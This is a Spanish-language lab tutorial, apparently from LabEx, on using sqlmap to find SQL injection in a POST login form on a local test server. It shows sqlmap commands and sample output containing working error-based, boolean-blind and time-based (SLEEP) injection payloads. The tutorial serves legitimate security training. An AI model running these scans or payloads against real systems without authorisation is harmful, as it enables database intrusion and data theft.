Realizar un Escaneo en una Solicitud POST con sqlmap

Kali LinuxBeginner
Practicar Ahora

Introducción

La inyección SQL es una vulnerabilidad crítica de seguridad web que permite a un atacante interferir con las consultas que una aplicación realiza a su base de datos. Si bien muchos ejemplos se centran en vulnerabilidades en parámetros de URL (solicitudes GET), los formularios que envían datos a través de solicitudes POST también son objetivos comunes.

En este laboratorio, aprenderá a utilizar sqlmap, una potente herramienta de pruebas de penetración de código abierto, para automatizar el proceso de detección y explotación de fallos de inyección SQL. Específicamente, se centrará en atacar un formulario web que utiliza el método POST para enviar datos. Aprenderá a capturar los datos POST y proporcionarlos a sqlmap para realizar un escaneo exhaustivo.

Identificar un Formulario Web que Utiliza el Método POST

En este paso, iniciará un servidor web simple e identificará un formulario web que utiliza el método HTTP POST. Las solicitudes POST están diseñadas para enviar datos a un servidor para crear o actualizar un recurso, lo que las convierte en un método común para enviar formularios de inicio de sesión, comentarios o cualquier otro contenido generado por el usuario.

Primero, verifiquemos que nuestra aplicación web de ejemplo esté en ejecución. Podemos usar curl para obtener la página principal.

Ejecute el siguiente comando en su terminal:

curl http://localhost:8000

Debería ver el código fuente HTML de una página de inicio de sesión simple. Busque la etiqueta <form> dentro de la salida.

<!DOCTYPE html>
<html>
  <head>
    <title>Login Page</title>
  </head>
  <body>
    <h2>Login Form</h2>
    <form action="login.php" method="POST">
      <label for="username">Username:</label><br />
      <input type="text" id="username" name="username" /><br />
      <label for="password">Password:</label><br />
      <input type="password" id="password" name="password" /><br /><br />
      <input type="submit" value="Login" />
    </form>
  </body>
</html>

Observe el atributo method="POST" dentro de la etiqueta <form>. Esto le indica al navegador que envíe los datos del formulario utilizando una solicitud POST al script login.php. Identificar esto es el primer paso para preparar nuestro escaneo con sqlmap. También puede abrir el navegador Firefox desde el escritorio y navegar a http://localhost:8000 para ver el formulario visualmente.

Capturar la Cadena de Datos POST Usando las Herramientas de Desarrollador del Navegador

En este paso, aprenderá a capturar la cadena de datos enviada por una solicitud POST. sqlmap necesita estos datos para saber qué parámetros probar en busca de inyecciones SQL. La forma más fácil de obtener esta información es utilizando las herramientas de desarrollador integradas de su navegador.

  1. Abra el navegador Firefox desde el dock de aplicaciones de la izquierda en su entorno LabEx.
  2. Navegue a http://localhost:8000.
  3. Presione F12 o haga clic derecho en la página y seleccione "Inspect" (Inspeccionar) para abrir las Herramientas de Desarrollador.
  4. Haga clic en la pestaña Network (Red) en el panel de Herramientas de Desarrollador.
  5. En la página de inicio de sesión, ingrese algunos datos ficticios en los campos del formulario. Por ejemplo, use test para el nombre de usuario y test para la contraseña.
  6. Haga clic en el botón Login (Iniciar sesión).
  7. En la pestaña Network, verá una nueva entrada para login.php. Haga clic en ella.
  8. Se abrirá un nuevo panel. Busque una pestaña llamada Request (Solicitud) o Payload (Carga útil). Aquí encontrará los datos del formulario que se enviaron al servidor. Se verá así:
username=test&password=test

Esta cadena, username=test&password=test, es exactamente lo que necesitamos para sqlmap. Contiene los nombres de los parámetros (username, password) y los valores que envió.

Para el siguiente paso, guardemos esta cadena de datos en un archivo en su directorio ~/project. Esto no es estrictamente necesario para usar sqlmap, pero es una buena práctica para mantener un registro de sus hallazgos.

echo 'username=test&password=test' > ~/project/post_data.txt

Usar la Opción --data para Especificar Parámetros POST

En este paso, construirá un comando básico de sqlmap utilizando la opción --data. Esta opción es esencial para indicarle a sqlmap que envíe una solicitud POST y qué datos incluir en el cuerpo de la solicitud.

La sintaxis básica para un escaneo POST en sqlmap es:

sqlmap -u "URL_OBJETIVO" --data="CADENA_DATOS_POST"

  • -u "URL_OBJETIVO": Especifica la URL que procesa los datos del formulario. En nuestro caso, es http://localhost:8000/login.php.
  • --data="CADENA_DATOS_POST": Proporciona la cadena de datos que capturó en el paso anterior.

Ejecutemos un comando para ver cómo sqlmap procesa esta información. Usaremos la cadena de datos que encontramos anteriormente. Este comando aún no realizará un escaneo completo; solo nos ayudará a confirmar que sqlmap identifica correctamente los parámetros POST.

Ejecute el siguiente comando en su terminal:

sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test"

sqlmap se iniciará y le mostrará información inicial. Identificará correctamente que la solicitud es una solicitud POST y encontrará los parámetros username y password. Luego le preguntará si desea probarlos.

[INFO] POST parameter 'username' is dynamic
[INFO] POST parameter 'password' is dynamic
[WARNING] POST parameter 'password' looks like a password field. Do you want to mask its value in further requests? [Y/n] n
[INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 5 HTTP(s) requests:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (subquery)
    Payload: username=-1695' OR 1 GROUP BY CONCAT(0x71787a7a71,(SELECT (CASE WHEN (1695=1695) THEN 1 ELSE 0 END)),0x7170766b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=test

Parameter: password (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=test&password=test' AND 2195=2195 AND 'zxcv'='zxcv
---
[INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'

[*] ending @ ...

Puede presionar n cuando se le pregunte sobre el enmascaramiento de la contraseña y luego sqlmap continuará. Para este paso, puede dejar que se ejecute o presionar Ctrl+C para salir después de ver que identifica los parámetros. La clave es comprender cómo funciona la opción --data.

Ejecutar el Escaneo en la URL de Destino con Datos POST

En este paso, ejecutará un escaneo completo en el destino. Para hacer el proceso más fluido y no interactivo, agregaremos algunas opciones más a nuestro comando sqlmap.

  • -p "username": Esta opción le indica a sqlmap que centre sus esfuerzos de prueba solo en el parámetro username. Esto puede ahorrar mucho tiempo si sospecha que un parámetro específico es vulnerable.
  • --batch: Esta opción automatiza el proceso al indicarle a sqlmap que use la respuesta predeterminada para todas las preguntas interactivas que normalmente haría. Esto es muy útil para ejecutar escaneos desatendidos.

Ahora, combinemos todo en el comando final. Estamos apuntando a la URL login.php, proporcionando los datos POST, especificando el parámetro username para la prueba y ejecutándolo en modo batch.

Ejecute el siguiente comando en su terminal:

sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test" -p "username" --batch

sqlmap comenzará ahora un escaneo exhaustivo del parámetro username. Dado que nuestro script vulnerable utiliza una función sleep() para simular un retraso en la base de datos, sqlmap probablemente utilizará técnicas de inyección ciega basadas en tiempo. Este tipo de escaneo puede llevar varios minutos, ya que sqlmap necesita enviar múltiples solicitudes y medir el tiempo de respuesta de cada una para confirmar la vulnerabilidad.

Verá una salida similar a esta mientras se ejecuta:

...
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...

Deje que el escaneo se complete. Confirmará que el parámetro username es vulnerable.

Analizar los Resultados de una Inyección SQL Basada en POST

En este paso, analizará la salida de sqlmap para comprender la vulnerabilidad que descubrió. Una vez que el escaneo del paso anterior se complete, sqlmap presentará un resumen de sus hallazgos.

La salida final se verá algo así:

---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test' AND (SELECT 6113 FROM (SELECT(SLEEP(5)))bYjb) AND 'TEST'='TEST&password=test
---
[INFO] the back-end DBMS is 'MySQL >= 5.0.12'
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'

Analicemos este resultado:

  • Parameter: username (POST): Esto confirma que la vulnerabilidad se encontró en el parámetro username de una solicitud POST.
  • Type: time-based blind: Este es el tipo de inyección SQL. "Blind" (ciega) significa que la aplicación no devuelve errores de base de datos en sus respuestas. "Time-based" (basada en tiempo) significa que sqlmap confirmó la vulnerabilidad inyectando comandos que causan un retraso en el tiempo (por ejemplo, SLEEP(5)) y midiendo el tiempo de respuesta del servidor.
  • Payload: Esto muestra la entrada maliciosa real que sqlmap utilizó para confirmar la vulnerabilidad.

sqlmap también guarda toda la información de la sesión, incluidos los registros y los resultados, en un directorio. La ubicación se menciona en la salida, típicamente ~/.sqlmap/output/. Puede inspeccionar este directorio para encontrar registros detallados del escaneo.

Listemos el contenido del directorio de resultados para nuestro objetivo:

ls -l ~/.sqlmap/output/localhost:8000

Verá archivos como log y session.sqlite. El archivo log contiene un registro completo del escaneo, que es útil para análisis detallados y generación de informes.

total 24
-rw-r--r-- 1 labex labex 15589 Dec  6 15:30 log
-rw-r--r-- 1 labex labex  8192 Dec  6 15:30 session.sqlite
-rw-r--r-- 1 labex labex     0 Dec  6 15:29 target.txt

Ahora ha identificado y confirmado con éxito una vulnerabilidad de inyección SQL basada en POST utilizando sqlmap.

Resumen

En este laboratorio, aprendió a usar sqlmap para probar vulnerabilidades de inyección SQL en formularios web que utilizan el método POST. Identificó con éxito un formulario POST, capturó la cadena de datos necesaria utilizando las herramientas de desarrollador del navegador y usó la opción --data en sqlmap para especificar los parámetros POST. Finalmente, ejecutó un escaneo utilizando las opciones --batch y -p para la automatización y analizó los resultados, confirmando una vulnerabilidad de inyección SQL ciega basada en tiempo. Este proceso es una habilidad fundamental para las pruebas de seguridad de aplicaciones web.